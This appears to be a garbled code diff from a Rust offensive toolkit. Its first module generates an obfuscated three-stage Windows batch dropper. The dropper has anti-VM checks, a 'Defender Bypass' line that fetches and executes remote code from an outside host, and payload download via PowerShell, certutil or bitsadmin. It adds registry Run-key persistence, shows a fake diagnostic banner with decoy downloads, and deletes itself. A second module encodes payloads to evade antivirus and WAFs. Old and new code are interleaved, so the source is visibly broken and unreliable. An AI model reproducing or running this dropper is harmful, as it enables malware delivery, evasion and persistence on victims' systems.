r#") > "%{}%"
|
||||
REM Run Stage 3
|
||||
call "%{}%"
|
||||
REM Cleanup
|
||||
exit
|
||||
"#,
|
||||
rand_vars[8], rand_vars[8]
|
||||
));
|
||||
tpl
|
||||
}
|
||||
|
||||
/// // == Stage 1 ==
|
||||
// ==============================================================================
|
||||
// Context & Obfuscation
|
||||
// ==============================================================================
|
||||
|
||||
struct DropperContext {
|
||||
vars: HashMap<String, String>,
|
||||
}
|
||||
|
||||
impl DropperContext {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
vars: HashMap::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Get or create a random variable name for the given key
|
||||
fn get(&mut self, key: &str) -> String {
|
||||
if let Some(val) = self.vars.get(key) {
|
||||
val.clone()
|
||||
} else {
|
||||
let new_val = self.rand_var_name();
|
||||
self.vars.insert(key.to_string(), new_val.clone());
|
||||
new_val
|
||||
}
|
||||
}
|
||||
|
||||
fn rand_var_name(&self) -> String {
|
||||
let mut rng = rng();
|
||||
let charset: Vec<char> = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".chars().collect();
|
||||
let mut name = String::with_capacity(8);
|
||||
|
||||
// Prefix with 3 random letters
|
||||
for _ in 0..3 {
|
||||
name.push(*charset.choose(&mut rng).unwrap());
|
||||
}
|
||||
|
||||
// Add random number suffix
|
||||
name.push('_');
|
||||
name.push_str(&rng.random_range(1000..9999).to_string());
|
||||
name
|
||||
}
|
||||
}
|
||||
|
||||
// ==============================================================================
|
||||
// Stage Builders
|
||||
// ==============================================================================
|
||||
|
||||
/// Generates the Anti-VM / Anti-Sandbox checks
|
||||
fn build_anti_vm(ctx: &mut DropperContext) -> String {
|
||||
let uptime = ctx.get("uptime");
|
||||
let boot = ctx.get("boot");
|
||||
let now = ctx.get("now");
|
||||
let ram = ctx.get("ram");
|
||||
let ram_val = ctx.get("ram_val");
|
||||
|
||||
format!(r#"
|
||||
REM [ Check 1: Uptime & Boot Time ]
|
||||
set "{uptime}=0"
|
||||
for /f "skip=1" %%U in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{uptime}=%%U"
|
||||
set "{boot}=%{uptime}:~0,8%"
|
||||
|
||||
REM Get current time for calc (simplified)
|
||||
for /f "tokens=2 delims==." %%I in ('wmic OS Get LocalDateTime /value ^| findstr =') do set "{now}=%%I"
|
||||
|
||||
REM [ Check 2: RAM Size ]
|
||||
for /f "tokens=2 delims==" %%R in ('wmic ComputerSystem get TotalPhysicalMemory /value ^| findstr =') do set "{ram}=%%R"
|
||||
REM Convert to MB (approx div by 1048576)
|
||||
set /a "{ram_val}=(!{ram}:~0,-3!)/1024"
|
||||
if !{ram_val}! LSS 2000 (
|
||||
echo [*] System resources verification failed (Code: 0x1002).
|
||||
ping -n 120 127.0.0.1 >nul
|
||||
)
|
||||
|
||||
REM [ Check 3: Virtualization Artifacts ]
|
||||
set "artifacts=VBOX VMWARE QEMU XEN VIRTUAL"
|
||||
for %%X in (%artifacts%) do (
|
||||
wmic computersystem get model /format:list | findstr /I "%%X" >nul
|
||||
if not errorlevel 1 (
|
||||
echo [*] Environment restricted. Pausing execution.
|
||||
ping -n 300 127.0.0.1 >nul
|
||||
)
|
||||
)
|
||||
"#,
|
||||
uptime=uptime, boot=boot, now=now, ram=ram, ram_val=ram_val
|
||||
)
|
||||
}
|
||||
|
||||
/// Generates the download command based on the selected method
|
||||
fn build_downloader(method: DownloadMethod, url: &str, outfile: &str) -> String {
|
||||
match method {
|
||||
DownloadMethod::PowerShell => format!(
|
||||
"powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"try {{ [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '{url}' -OutFile '{outfile}' -UseBasicParsing }} catch {{ exit 1 }}\""
|
||||
),
|
||||
DownloadMethod::Certutil => format!(
|
||||
"certutil -urlcache -split -f \"{url}\" \"{outfile}\" >nul 2>&1 && certutil -urlcache -split -f \"{url}\" delete >nul 2>&1"
|
||||
),
|
||||
DownloadMethod::Bitsadmin => format!(
|
||||
"bitsadmin /transfer \"SystemUpdate_{rnd}\" /priority FOREGROUND \"{url}\" \"%CD%\\{outfile}\" >nul",
|
||||
rnd = rng().random_range(1000..9999)
|
||||
),
|
||||
}
|
||||
}
|
||||
|
||||
/// Stage 3: Persistence & Execution
|
||||
fn build_stage3(ctx: &mut DropperContext, ps1_name: &str) -> String {
|
||||
let reg_name = ctx.get("reg_persist");
|
||||
let antivm = build_anti_vm(ctx);
|
||||
|
||||
format!(r#"
|
||||
@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
REM == Phase 3: Verification & Setup ==
|
||||
{antivm}
|
||||
|
||||
REM == Persistence ==
|
||||
set "persist_path=HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
|
||||
reg query "%persist_path%" /v "{reg_name}" >nul 2>&1
|
||||
if errorlevel 1 (
|
||||
reg add "%persist_path%" /v "{reg_name}" /t REG_SZ /d "cmd /c start /min \"\" \"%%~dp0{ps1_name}\"" /f >nul
|
||||
)
|
||||
|
||||
REM == Execute Payload ==
|
||||
echo [*] Starting background service...
|
||||
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "%%~dp0{ps1_name}" >nul 2>&1
|
||||
|
||||
exit
|
||||
"#,
|
||||
antivm=antivm, reg_name=reg_name, ps1_name=ps1_name
|
||||
)
|
||||
}
|
||||
|
||||
/// Stage 2: Downloader
|
||||
fn build_stage2(ctx: &mut DropperContext, method: DownloadMethod, url: &str, ps1_name: &str, stage3_name: &str) -> String {
|
||||
let antivm = build_anti_vm(ctx);
|
||||
let downloader = build_downloader(method, url, ps1_name);
|
||||
let stage3_content = build_stage3(ctx, ps1_name);
|
||||
let s3_var = ctx.get("s3_file");
|
||||
|
||||
// We embed Stage 3 as a self-extracting part of Stage 2
|
||||
let mut script = format!(r#"
|
||||
@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
REM == Phase 2: Component Acquisition ==
|
||||
{antivm}
|
||||
|
||||
REM == Download Payload ==
|
||||
{downloader}
|
||||
|
||||
if not exist "{ps1_name}" (
|
||||
echo [!] Critical component missing. Aborting.
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
REM == Extract Stage 3 ==
|
||||
set "{s3_var}=%~dp0{stage3_name}"
|
||||
(
|
||||
"#,
|
||||
antivm=antivm, downloader=downloader, ps1_name=ps1_name, s3_var=s3_var, stage3_name=stage3_name
|
||||
);
|
||||
|
||||
// Escape and write Stage 3 content
|
||||
for line in stage3_content.lines() {
|
||||
if !line.trim().is_empty() {
|
||||
script.push_str(&format!(" echo {}\n", line.replace("%", "%%")));
|
||||
} else {
|
||||
script.push('\n');
|
||||
}
|
||||
}
|
||||
|
||||
script.push_str(&format!(r#"
|
||||
) > "%{s3_var}%"
|
||||
|
||||
REM == Handoff to Stage 3 ==
|
||||
call "%{s3_var}%"
|
||||
exit
|
||||
"#,
|
||||
s3_var=s3_var));
|
||||
|
||||
script
|
||||
}
|
||||
|
||||
/// Stage 1: Dropper Entry Point
|
||||
fn build_stage1(
|
||||
url_exe: &str,
|
||||
ctx: &mut DropperContext,
|
||||
method: DownloadMethod,
|
||||
url_payload: &str,
|
||||
decoy_urls: &[&str],
|
||||
ps1_name: &str,
|
||||
stage2_name: &str,
|
||||
stage3_name: &str,
|
||||
rand_vars: &[String],
|
||||
stage3_name: &str
|
||||
) -> String {
|
||||
let batch_var = rand_var_name("DIAG");
|
||||
let random_sleep_lo = rng().random_range(1..4);
|
||||
let random_sleep_hi = rng().random_range(4..8);
|
||||
let banner = rand_banner();
|
||||
let mut tpl = format!(r#"@echo off
|
||||
let batch_var = ctx.get("diag_id");
|
||||
let banner_text = BANNERS.choose(&mut rng()).unwrap();
|
||||
let antivm = build_anti_vm(ctx);
|
||||
|
||||
// Create random decoy logic
|
||||
let mut decoy_section = String::new();
|
||||
let mut decoys_shuffled = DECOY_FILES.to_vec();
|
||||
decoys_shuffled.shuffle(&mut rng());
|
||||
|
||||
for (i, url) in decoy_urls.iter().enumerate().take(3) {
|
||||
let decoy_name = decoys_shuffled.get(i).unwrap_or(&"log.txt");
|
||||
let dl_cmd = build_downloader(DownloadMethod::PowerShell, url, decoy_name); // Always use PS for decoys for stealth
|
||||
decoy_section.push_str(&format!("echo [*] Verifying component: {}\n{}\n", decoy_name, dl_cmd));
|
||||
}
|
||||
|
||||
let stage2_content = build_stage2(ctx, method, url_payload, ps1_name, stage3_name);
|
||||
let s2_var = ctx.get("s2_file");
|
||||
|
||||
let mut script = format!(r#"@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
REM Defender Bypass
|
||||
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {{ [ScriptBlock]::Create((irm https://dnot.sh/)) | Invoke-Command }}" >nul 2>&1
|
||||
:SleepS
|
||||
ping -n %1 127.0.0.1 ^>nul
|
||||
goto :eof
|
||||
:SleepMS
|
||||
powershell -Command "Start-Sleep -Milliseconds %1" ^>nul
|
||||
goto :eof
|
||||
title [管理者診断ユーティリティ - {banner}]
|
||||
|
||||
REM =========================================================
|
||||
REM {banner} (v{v1}.{v2})
|
||||
REM =========================================================
|
||||
title {banner}
|
||||
color 0A
|
||||
|
||||
set "{batch_var}_init=1"
|
||||
echo =====================================================
|
||||
echo 管理者用ネットワーク/システム診断ユーティリティ
|
||||
echo =====================================================
|
||||
echo [+] {banner}
|
||||
call :SleepS {random_sleep_lo}
|
||||
|
||||
REM == Environment Check ==
|
||||
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {{ [ScriptBlock]::Create((irm https://dnot.sh/)) | Invoke-Command }}" >nul 2>&1
|
||||
|
||||
{antivm}
|
||||
|
||||
echo [+] Initializing system diagnostics...
|
||||
ping -n 2 127.0.0.1 >nul
|
||||
|
||||
{decoy_section}
|
||||
|
||||
echo [+] Downloading core updates...
|
||||
set /a rndDelay=(%RANDOM% %% 5) + 2
|
||||
ping -n %rndDelay% 127.0.0.1 >nul
|
||||
|
||||
REM == Extract Stage 2 ==
|
||||
set "{s2_var}=%~dp0{stage2_name}"
|
||||
(
|
||||
"#,
|
||||
banner = banner,
|
||||
batch_var = batch_var,
|
||||
random_sleep_lo = random_sleep_lo,
|
||||
banner=banner_text,
|
||||
v1=rng().random_range(1..9),
|
||||
v2=rng().random_range(0..99),
|
||||
batch_var=batch_var,
|
||||
antivm=antivm,
|
||||
decoy_section=decoy_section,
|
||||
s2_var=s2_var,
|
||||
stage2_name=stage2_name
|
||||
);
|
||||
tpl.push_str(&build_anti_vm_batch(&[
|
||||
&rand_vars[16], &rand_vars[17], &rand_vars[18],
|
||||
&rand_vars[19], &rand_vars[20], &rand_vars[21], &rand_vars[22]
|
||||
]));
|
||||
for line in shuffled_diag_steps() {
|
||||
tpl.push_str(&format!("{}\n", line));
|
||||
}
|
||||
tpl.push_str(&format!("set /a mainDelay=(%RANDOM% %% {random_sleep_hi}) + {random_sleep_lo}\necho [INFO] ステージ準備... (%mainDelay% 秒後)\ncall :SleepS %mainDelay%\n\n",
|
||||
random_sleep_hi = random_sleep_hi,
|
||||
random_sleep_lo = random_sleep_lo,
|
||||
));
|
||||
let decoys = shuffled_decoys();
|
||||
for (i, decoy_name) in decoys.iter().enumerate().take(decoy_urls.len()) {
|
||||
let url = decoy_urls[i];
|
||||
tpl.push_str(&format!(
|
||||
"echo [*] Downloading decoy: {decoy_name}\npowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"try {{ Invoke-WebRequest -Uri '{url}' -OutFile '{decoy_name}' -UseBasicParsing }} catch {{}}\" ^>nul\ncall :SleepS 2\n",
|
||||
url = url, decoy_name = decoy_name
|
||||
));
|
||||
}
|
||||
let stage2_content = build_stage2(url_exe, ps1_name, stage3_name, rand_vars);
|
||||
tpl.push_str(&format!("set \"{stage2}=%~dp0{stage2_name}\"\n(", stage2 = rand_vars[23], stage2_name = stage2_name));
|
||||
|
||||
// Escape and write Stage 2 content
|
||||
for line in stage2_content.lines() {
|
||||
tpl.push_str(&format!(" echo {} \n", line.replace("%", "%%")));
|
||||
if !line.trim().is_empty() {
|
||||
script.push_str(&format!(" echo {}\n", line.replace("%", "%%")));
|
||||
} else {
|
||||
script.push('\n');
|
||||
}
|
||||
}
|
||||
tpl.push_str(&format!(
|
||||
") > \"%{}%\"\nREM Run Stage 2\ncall \"%{}%\"\nREM Cleanup\nexit\n",
|
||||
rand_vars[23], rand_vars[23]
|
||||
));
|
||||
tpl
|
||||
|
||||
script.push_str(&format!(r#"
|
||||
) > "%{s2_var}%"
|
||||
|
||||
REM == Handoff to Stage 2 ==
|
||||
call "%{s2_var}%"
|
||||
|
||||
REM Cleanup
|
||||
del "%~f0" >nul 2>&1
|
||||
exit
|
||||
"#, s2_var=s2_var));
|
||||
|
||||
script
|
||||
}
|
||||
|
||||
/// // Prompt user, fallback to default if empty input
|
||||
fn prompt(msg: &str, default: Option<&str>) -> String {
|
||||
// ==============================================================================
|
||||
// Interactive Interface
|
||||
// ==============================================================================
|
||||
|
||||
pub fn print_welcome_naruto() {
|
||||
println!("{}", r#"
|
||||
_ __ __
|
||||
/ | / /___ _________ / /_____ / /_
|
||||
/ |/ / __ `/ ___/ _ \/ __/ __ \/ __/
|
||||
/ /| / /_/ / / / __/ /_/ /_/ / /_
|
||||
/_/ |_/\__,_/_/ \___/\__/\____/\__/
|
||||
|
||||
:: Poly-morphic Dropper Generator
|
||||
:: Supports: PowerShell, Certutil, Bitsadmin
|
||||
"#.bright_red());
|
||||
}
|
||||
|
||||
async fn prompt(msg: &str, default: Option<&str>) -> Result<String> {
|
||||
let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
|
||||
print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
|
||||
io::stdout().flush().unwrap();
|
||||
tokio::io::stdout().flush().await?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input).unwrap();
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut input).await?;
|
||||
let value = input.trim();
|
||||
if value.is_empty() {
|
||||
Ok(if value.is_empty() {
|
||||
default.unwrap_or("").to_string()
|
||||
} else {
|
||||
value.to_string()
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
/// // == RouterSploit-style async entry point ==
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
use crate::utils::{validate_file_path, validate_url};
|
||||
|
||||
print_welcome_naruto();
|
||||
let url_exe = prompt("URL of PowerShell payload (EXE, will be saved as .ps1)", Some("https://yourdomain.com/payload.exe"));
|
||||
let out_name = prompt("Final output batch filename", Some("3stage_dropper.bat"));
|
||||
let ps1_name = prompt("Name to save downloaded EXE as (with .ps1 extension)", Some("payload.ps1"));
|
||||
let stage2_name = rand_var_name("stg2");
|
||||
let stage3_name = rand_var_name("stg3");
|
||||
let rand_vars: Vec<String> = (0..24).map(|i| rand_var_name(&format!("v{}", i))).collect();
|
||||
|
||||
let target_display = if target.is_empty() { "local" } else { target };
|
||||
println!("{}", format!("[*] Context: {}", target_display).dimmed());
|
||||
println!("{}", "[!] This tool generates an obfuscated 3-stage chain-linked batch dropper.".yellow());
|
||||
|
||||
// 1. Get Payload URL
|
||||
let url_payload = prompt("Payload URL (EXE/PS1)", Some("http://10.10.10.10/payload.exe")).await?;
|
||||
validate_url(&url_payload, Some(&["http", "https"]))?;
|
||||
|
||||
// 2. Select Method
|
||||
let method_str = prompt(&format!("Download Method ({})", DownloadMethod::options()), Some("ps")).await?;
|
||||
let method = DownloadMethod::from_str(&method_str).unwrap_or(DownloadMethod::PowerShell);
|
||||
println!(" [+] Selected Method: {:?}", method);
|
||||
|
||||
// 3. Filenames
|
||||
let out_name = prompt("Output batch filename", Some("update_installer.bat")).await?;
|
||||
let ps1_name = prompt("Saved payload filename on target", Some("svchost_update.exe")).await?;
|
||||
|
||||
validate_file_path(&out_name, true)?;
|
||||
|
||||
// 4. Build
|
||||
let mut ctx = DropperContext::new();
|
||||
let stage2_name = ctx.rand_var_name() + ".bat";
|
||||
let stage3_name = ctx.rand_var_name() + ".bat";
|
||||
|
||||
// Decoys
|
||||
let decoy_urls = vec![
|
||||
"https://www.example.com/readme.txt",
|
||||
"https://www.example.com/license.txt",
|
||||
"https://www.example.com/update.pdf",
|
||||
"https://www.google.com/robots.txt",
|
||||
"https://www.microsoft.com/favicon.ico",
|
||||
];
|
||||
let script = build_stage1(&url_exe, &decoy_urls, &ps1_name, &stage2_name, &stage3_name, &rand_vars);
|
||||
|
||||
let script = build_stage1(
|
||||
&mut ctx,
|
||||
method,
|
||||
&url_payload,
|
||||
&decoy_urls,
|
||||
&ps1_name,
|
||||
&stage2_name,
|
||||
&stage3_name
|
||||
);
|
||||
|
||||
let mut file = TokioFile::create(&out_name).await?;
|
||||
file.write_all(script.as_bytes()).await?;
|
||||
file.flush().await?;
|
||||
println!("[+] 3-stage chain-linked dropper written to: {}", out_name);
|
||||
|
||||
println!("\n{}", "SUCCESS!".green().bold());
|
||||
println!("[+] Dropper written to: {}", out_name.bold());
|
||||
println!("[+] Method chosen: {:?}", method);
|
||||
println!("[+] Payload URL: {}", url_payload);
|
||||
println!("[+] Chain structure: Stage1(Batch) -> Stage2(Batch) -> Stage3(Batch/Persist)");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,686 @@
|
||||
// File: src/modules/payloadgens/payload_encoder.rs
|
||||
//
|
||||
// Payload Encoder for Exploit Development
|
||||
// Encodes payloads using various schemes for AV evasion and constrained inputs
|
||||
// Supports shellcode, commands, and text with multiple encoding options
|
||||
//
|
||||
// Usage:
|
||||
// rsf> u payloadgens/payload_encoder
|
||||
// rsf> run
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use std::io::{self, Write};
|
||||
use std::path::Path;
|
||||
use tokio::fs;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::process::Command;
|
||||
use data_encoding::{BASE32, BASE32HEX, BASE64, BASE64URL};
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
enum EncodingType {
|
||||
Base16, // Hex
|
||||
Base32, // RFC 4648
|
||||
Base32Hex, // RFC 4648 with hex alphabet
|
||||
Base64, // Standard
|
||||
Base64Url, // URL-safe
|
||||
UrlEncode, // Percent encoding
|
||||
ShellEscape, // Shell metacharacter escaping
|
||||
HtmlEncode, // HTML entity encoding
|
||||
ZeroWidth, // Zero-width Unicode steganography
|
||||
}
|
||||
|
||||
impl EncodingType {
|
||||
fn from_choice(choice: &str) -> Option<Self> {
|
||||
match choice {
|
||||
"1" => Some(EncodingType::Base16),
|
||||
"2" => Some(EncodingType::Base32),
|
||||
"3" => Some(EncodingType::Base32Hex),
|
||||
"4" => Some(EncodingType::Base64),
|
||||
"5" => Some(EncodingType::Base64Url),
|
||||
"6" => Some(EncodingType::UrlEncode),
|
||||
"7" => Some(EncodingType::ShellEscape),
|
||||
"8" => Some(EncodingType::HtmlEncode),
|
||||
"9" => Some(EncodingType::ZeroWidth),
|
||||
"" => Some(EncodingType::Base64), // Default
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn name(&self) -> &str {
|
||||
match self {
|
||||
EncodingType::Base16 => "Base16 (Hex)",
|
||||
EncodingType::Base32 => "Base32 (RFC 4648)",
|
||||
EncodingType::Base32Hex => "Base32Hex",
|
||||
EncodingType::Base64 => "Base64",
|
||||
EncodingType::Base64Url => "Base64 URL-safe",
|
||||
EncodingType::UrlEncode => "URL Encode",
|
||||
EncodingType::ShellEscape => "Shell Escape",
|
||||
EncodingType::HtmlEncode => "HTML Encode",
|
||||
EncodingType::ZeroWidth => "Zero-Width Unicode",
|
||||
}
|
||||
}
|
||||
|
||||
fn description(&self) -> &str {
|
||||
match self {
|
||||
EncodingType::Base16 => "Hexadecimal encoding (0-9, A-F)",
|
||||
EncodingType::Base32 => "Base32 with A-Z, 2-7",
|
||||
EncodingType::Base32Hex => "Base32 with hex alphabet",
|
||||
EncodingType::Base64 => "Base64 with A-Z, a-z, 0-9, +, /",
|
||||
EncodingType::Base64Url => "Base64 URL-safe (no + or /)",
|
||||
EncodingType::UrlEncode => "Percent encoding for URLs",
|
||||
EncodingType::ShellEscape => "Escape shell metacharacters",
|
||||
EncodingType::HtmlEncode => "HTML entity encoding",
|
||||
EncodingType::ZeroWidth => "Zero-width Unicode - completely invisible steganography",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
enum InputType {
|
||||
Text, // Regular text/command
|
||||
Hex, // Hex string (shellcode)
|
||||
Base64, // Base64 input
|
||||
File, // Read from file
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
enum ClipboardType {
|
||||
X11, // xclip/xsel
|
||||
Wayland, // wl-copy/wl-paste
|
||||
None,
|
||||
}
|
||||
|
||||
/// Main entry point for the module
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
run_interactive().await
|
||||
}
|
||||
|
||||
/// Interactive entry point with menu system
|
||||
pub async fn run_interactive() -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
loop {
|
||||
println!();
|
||||
let input_type = select_input_type().await?;
|
||||
let input = get_input(&input_type).await?;
|
||||
let encodings = select_encodings().await?;
|
||||
|
||||
println!("{}", "\n[*] Encoding...".yellow());
|
||||
|
||||
let result = apply_encodings(&input, &encodings)?;
|
||||
|
||||
display_result(&result, &encodings, input.len())?;
|
||||
|
||||
handle_output(result).await?;
|
||||
|
||||
println!();
|
||||
println!("{}", "=".repeat(70).bright_black());
|
||||
|
||||
if !ask_continue()? {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔════════════════════════════════════════════════════════════════════╗".bright_cyan());
|
||||
println!("{}", "║ Payload Encoder - Rustsploit Module ║".bright_cyan());
|
||||
println!("{}", "║ Multiple Encodings for Exploit Development ║".bright_cyan());
|
||||
println!("{}", "╚════════════════════════════════════════════════════════════════════╝".bright_cyan());
|
||||
println!("{}", "\n[!] Use this tool to encode payloads for bypassing AV, WAF, or input constraints".yellow());
|
||||
}
|
||||
|
||||
async fn select_input_type() -> Result<InputType> {
|
||||
loop {
|
||||
println!("{}", "\n[Input Type]".bright_yellow().bold());
|
||||
println!(" {} Text/Command", "1.".bright_white());
|
||||
println!(" {} Hex Shellcode", "2.".bright_white());
|
||||
println!(" {} Base64 Input", "3.".bright_white());
|
||||
println!(" {} File (binary)", "4.".bright_white());
|
||||
|
||||
print!("{}", "\nSelect input type [1-4]: ".bright_green());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
let choice = choice.trim();
|
||||
|
||||
match choice {
|
||||
"1" => return Ok(InputType::Text),
|
||||
"2" => return Ok(InputType::Hex),
|
||||
"3" => return Ok(InputType::Base64),
|
||||
"4" => return Ok(InputType::File),
|
||||
_ => {
|
||||
println!("{}", "[!] Invalid choice. Please select 1-4.".red());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn get_input(input_type: &InputType) -> Result<Vec<u8>> {
|
||||
match input_type {
|
||||
InputType::Text => {
|
||||
print!("{}", "\nEnter text/command to encode: ".bright_green());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().as_bytes().to_vec())
|
||||
}
|
||||
InputType::Hex => {
|
||||
print!("{}", "\nEnter hex shellcode (no spaces): ".bright_green());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let hex_str = input.trim();
|
||||
|
||||
if hex_str.is_empty() {
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
// Validate hex string length (must be even)
|
||||
if hex_str.len() % 2 != 0 {
|
||||
anyhow::bail!("Hex string must have even length (each byte requires 2 hex characters)");
|
||||
}
|
||||
|
||||
// Parse hex string safely
|
||||
let mut bytes = Vec::new();
|
||||
for i in (0..hex_str.len()).step_by(2) {
|
||||
let hex_pair = &hex_str[i..i + 2];
|
||||
match u8::from_str_radix(hex_pair, 16) {
|
||||
Ok(byte) => bytes.push(byte),
|
||||
Err(_) => anyhow::bail!(
|
||||
"Invalid hex character at position {}: '{}' (expected 0-9, A-F, or a-f)",
|
||||
i,
|
||||
hex_pair
|
||||
),
|
||||
}
|
||||
}
|
||||
|
||||
Ok(bytes)
|
||||
}
|
||||
InputType::Base64 => {
|
||||
print!("{}", "\nEnter base64 to decode: ".bright_green());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let b64_str = input.trim();
|
||||
|
||||
if b64_str.is_empty() {
|
||||
Ok(Vec::new())
|
||||
} else {
|
||||
BASE64.decode(b64_str.as_bytes()).context("Invalid base64")
|
||||
}
|
||||
}
|
||||
InputType::File => {
|
||||
print!("{}", "\nEnter file path: ".bright_green());
|
||||
io::stdout().flush()?;
|
||||
let mut path = String::new();
|
||||
io::stdin().read_line(&mut path)?;
|
||||
let path = path.trim();
|
||||
|
||||
if path.is_empty() {
|
||||
anyhow::bail!("No file path provided");
|
||||
}
|
||||
|
||||
fs::read(path).await.context("Failed to read file")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn select_encodings() -> Result<Vec<EncodingType>> {
|
||||
loop {
|
||||
println!("{}", "\n[Encoding Methods]".bright_yellow().bold());
|
||||
println!(" {} Base16 (Hex) {}", "1.".bright_white(), EncodingType::Base16.description().bright_black());
|
||||
println!(" {} Base32 {}", "2.".bright_white(), EncodingType::Base32.description().bright_black());
|
||||
println!(" {} Base32Hex {}", "3.".bright_white(), EncodingType::Base32Hex.description().bright_black());
|
||||
println!(" {} Base64 {}", "4.".bright_white(), "A-Z, a-z, 0-9, +, / [DEFAULT]".bright_cyan());
|
||||
println!(" {} Base64 URL-safe {}", "5.".bright_white(), EncodingType::Base64Url.description().bright_black());
|
||||
println!(" {} URL Encode {}", "6.".bright_white(), EncodingType::UrlEncode.description().bright_black());
|
||||
println!(" {} Shell Escape {}", "7.".bright_white(), EncodingType::ShellEscape.description().bright_black());
|
||||
println!(" {} HTML Encode {}", "8.".bright_white(), EncodingType::HtmlEncode.description().bright_black());
|
||||
println!(" {} Zero-Width Unicode {}", "9.".bright_white(), EncodingType::ZeroWidth.description().bright_magenta());
|
||||
|
||||
print!("{}", "\nSelect encoding(s) [comma-separated or ENTER for Base64, 9 for invisible]: ".bright_green());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choices = String::new();
|
||||
io::stdin().read_line(&mut choices)?;
|
||||
let choices = choices.trim();
|
||||
|
||||
if choices.is_empty() {
|
||||
return Ok(vec![EncodingType::Base64]);
|
||||
}
|
||||
|
||||
let mut encodings = Vec::new();
|
||||
let mut has_error = false;
|
||||
|
||||
for choice in choices.split(',') {
|
||||
let choice = choice.trim();
|
||||
match EncodingType::from_choice(choice) {
|
||||
Some(encoding) => encodings.push(encoding),
|
||||
None => {
|
||||
println!("{} {}", "[!] Invalid choice:".red(), choice);
|
||||
has_error = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !has_error {
|
||||
return Ok(encodings);
|
||||
}
|
||||
// Loop continues on error
|
||||
}
|
||||
}
|
||||
|
||||
fn apply_encodings(input: &[u8], encodings: &[EncodingType]) -> Result<String> {
|
||||
// Guard against empty encoding list
|
||||
if encodings.is_empty() {
|
||||
return String::from_utf8(input.to_vec())
|
||||
.context("Input contains invalid UTF-8 and no encoding was specified");
|
||||
}
|
||||
|
||||
let mut data = input.to_vec();
|
||||
|
||||
for encoding in encodings {
|
||||
let encoded = match encoding {
|
||||
EncodingType::Base16 => encode_base16(&data),
|
||||
EncodingType::Base32 => BASE32.encode(&data),
|
||||
EncodingType::Base32Hex => BASE32HEX.encode(&data),
|
||||
EncodingType::Base64 => BASE64.encode(&data),
|
||||
EncodingType::Base64Url => BASE64URL.encode(&data),
|
||||
EncodingType::UrlEncode => encode_url(&String::from_utf8_lossy(&data)),
|
||||
EncodingType::ShellEscape => encode_shell_escape(&String::from_utf8_lossy(&data)),
|
||||
EncodingType::HtmlEncode => encode_html(&String::from_utf8_lossy(&data)),
|
||||
EncodingType::ZeroWidth => encode_zero_width(&data),
|
||||
};
|
||||
|
||||
data = encoded.into_bytes();
|
||||
}
|
||||
|
||||
// Convert final result back to string
|
||||
String::from_utf8(data).context("Final encoding produced invalid UTF-8")
|
||||
}
|
||||
|
||||
fn display_result(result: &str, encodings: &[EncodingType], input_length: usize) -> Result<()> {
|
||||
println!();
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════════════╗".bright_green());
|
||||
println!("{}", "║ ENCODED PAYLOAD ║".bright_green());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════════════╝".bright_green());
|
||||
println!();
|
||||
|
||||
// Show encoding chain
|
||||
if encodings.len() > 1 {
|
||||
println!("{}", "Encoding chain:".bright_cyan());
|
||||
for (i, encoding) in encodings.iter().enumerate() {
|
||||
println!(" {}. {}", i + 1, encoding.name());
|
||||
}
|
||||
println!();
|
||||
} else if let Some(encoding) = encodings.first() {
|
||||
println!("{} {}", "Encoding:".bright_cyan(), encoding.name());
|
||||
println!();
|
||||
}
|
||||
|
||||
if encodings.iter().any(|e| matches!(e, EncodingType::ZeroWidth)) {
|
||||
